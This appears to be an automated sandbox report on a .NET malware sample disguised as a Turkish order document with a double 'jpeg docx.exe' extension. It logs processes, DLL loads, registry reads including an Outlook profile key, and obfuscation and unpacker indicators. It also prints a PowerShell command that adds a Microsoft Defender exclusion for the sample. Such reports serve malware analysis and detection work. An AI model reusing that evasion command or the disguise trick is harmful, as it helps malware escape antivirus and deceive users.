Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Virustotal: Detection: 28%
Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process created: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ItCE.pdbSHA256 source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Source:	Binary string: ItCE.pdb source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, DlRvq5yJkomY4LIf3S.cs	.Net Code: X2WPMWey8AqqJOPa61l(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{X2WPMWey8AqqJOPa61l(typeof(IntPtr).TypeHandle),typeof(Type)})
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, DlRvq5yJkomY4LIf3S.cs	.Net Code: X2WPMWey8AqqJOPa61l(typeof(Marshal).TypeHandle).GetMethod("GetDelegateForFunctionPointer", new Type[2]{X2WPMWey8AqqJOPa61l(typeof(IntPtr).TypeHandle),typeof(Type)})

.NET source code contains potential unpacker

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, wnUc0Dk25qXsac9pHq.cs	.Net Code: B1or4PReSXLralblfQ7 System.Reflection.Assembly.Load(byte[])
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, wnUc0Dk25qXsac9pHq.cs	.Net Code: B1or4PReSXLralblfQ7 System.Reflection.Assembly.Load(byte[])

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: 0xCACADD26 [Sun Oct 24 09:15:18 2077 UTC]

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Code function: 0_2_050B8C70 pushad ; ret

0_2_050B8C7D

Source: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Static PE information: section name: .text entropy: 7.658402428264346

Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, DlRvq5yJkomY4LIf3S.cs	High entropy of concatenated method names: 'kZ9YdQeiiHN6iHHplRr', 'wEfHEVeR3qXSbOkcscO', 'RLbYs7foSU', 'PW2e71euAk0VMGlpcQV', 'gjVptie4PJx3mKSamWn', 'LKcyQ4eq4Fn8S34m92l', 'RgtTUJcyZL', 'TBNYf2t1gt', 'NdiYZfNUem', 'u6GYH5kC76'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3be7868.2.raw.unpack, vH9V9oD7tIKkmfHnnj.cs	High entropy of concatenated method names: 'CO1Gqr7JX', 'O7OmLZJsW', 'AEjTXD5ed', 'DjTcZUKVY', 'V5WOgiNs3', 'ri688DDjg', 'pN9ncriqM', 'x0i4vkLXV', 'aFLjtabv9', 'zVDpUJsTO'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, TcS8VYcim4LFgCoqQL.cs	High entropy of concatenated method names: 'zUcPqZ02Ft', 'ylWPkJ92gY', 'V5kP3Avlsd', 'Aj1P8RmN8w', 'ReWPt1tFUX', 'MMnPEIJ4Gy', 'LXwY5DXC56dYxnPVfh', 'JKc3oIsx08mhI5MGAb', 'RZ5PPsPG1H', 'yIkPsrWOUl'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, T3JShWYMSOXB2JT12d.cs	High entropy of concatenated method names: 'awZVpRZEnh', 'UJBVueZrgc', 'rhyVexVx1n', 'VIvVD7Me5n', 't2VVLIpZEX', 'd7oV0M1THA', 'SWcVCuAMBQ', 'eg5VirRSYd', 'TGWVBXT6vO', 'khdVThO5GS'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, jkLL6q1WrNTt6Dgamm.cs	High entropy of concatenated method names: 'MvNZ4opJY', 'r0CGcsLqB', 'NxHavABBv', 'f6hdGXZ0K', 'A6mOV5IoT', 'nDNSHA1mw', 'F8n6sXhSLBDctsZ1c5', 'Hcev55YMAiS4HiR6W4', 'Wl0N0E6Ib', 'cQHhKrgUQ'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, wnUc0Dk25qXsac9pHq.cs	High entropy of concatenated method names: 'mR5s6oqW3B', 'D0gsK7P1Nc', 'K2TsHYqWTU', 't7MsF1aWT2', 'sUdsMUtVdV', 'QcRsRTYduv', 'YXpsqhZsML', 'C58skuOu1s', 'UyVsrGE5KE', 'xE2s3fGyJk'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, xN8wbrSENmEK1AeW1t.cs	High entropy of concatenated method names: 'qevMwJtNFR', 'JC8MdkmNRG', 'GvUFeKFBwB', 'l0rFD8NSkl', 'Hy8FLeC50U', 'QDLF0mhhcI', 'PPHFCgnpx7', 'tPIFiDeKxb', 'aRpFBNBX5U', 'u4vFT5kovm'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, rvq5KuHBwEQfTnGDfQ.cs	High entropy of concatenated method names: 'Dispose', 'rjePY8kAxW', 'iEY1u0jfcC', 'BkC4xuvtYr', 'xhdPQO9VQC', 'tHxPzACc7n', 'ProcessDialogKey', 'WL21I3JShW', 'hSO1PXB2JT', 'c2d11GHH68'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, sthjvDPPHUO0HHVGSim.cs	High entropy of concatenated method names: 'trHhQ9iB4s', 'CxJhzHqmAn', 'N66vIqNCAi', 'm6DvPLXoeB', 'KQMv1mAE2j', 'hq7vsOQUbi', 'B4XvccicnJ', 'U0Wv6KJJEr', 'NY5vKiAkO0', 'DknvHoVR26'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, IhXyopF1Rw49jpQcO4.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'l7O1Ye3VTr', 'r351Qdj9tU', 'bCC1zSUM69', 'tP3sISXFlL', 'Gm4sPC0s4j', 'QP4s1dGOZ5', 'ALWsswFYEC', 'DMOfGcRMYM2Eqj5dRlu'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, D7jCM22QbVLVTVhNMe.cs	High entropy of concatenated method names: 'RbN93OavTY', 'ax498AQETS', 'ToString', 'yjT9Km36r1', 'uDh9HdpGWl', 'gjh9FdxIjy', 'hZu9MvkBZt', 'AZp9RNm9HZ', 'ddS9qJ52Lm', 'KId9khyjkh'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, AHH68TQgN5fypG7yLb.cs	High entropy of concatenated method names: 'yhxhFiDUl7', 'DndhMrucut', 'YsDhR4ihTl', 'iDchq98J3L', 'cKIhVPcdgw', 'VwvhkTl6LK', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, oHx0EFXTiDEaUNIbYR.cs	High entropy of concatenated method names: 'vZQ9oBuRst', 'XcA9QtjArx', 'iliNIUspAe', 'SOjNP6Fu7u', 'ghp9WkRBlf', 'ATq9jLU0S3', 'vT297DoITG', 'WhY9gs1mfA', 'XTU9AcxSZ8', 'c3B9n6nxFy'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, fB4koD7yeIiuFbvh7s.cs	High entropy of concatenated method names: 'xOv5bAgGdE', 'FVA5OXRC6p', 'oG65popIsf', 'mQl5u5Uc5I', 'AKt5D7md0i', 'ebM5LY1Ixk', 'ea65CGamYG', 'a325ikQCLV', 'U2E5TEJGQV', 'GMy5WsmYAv'
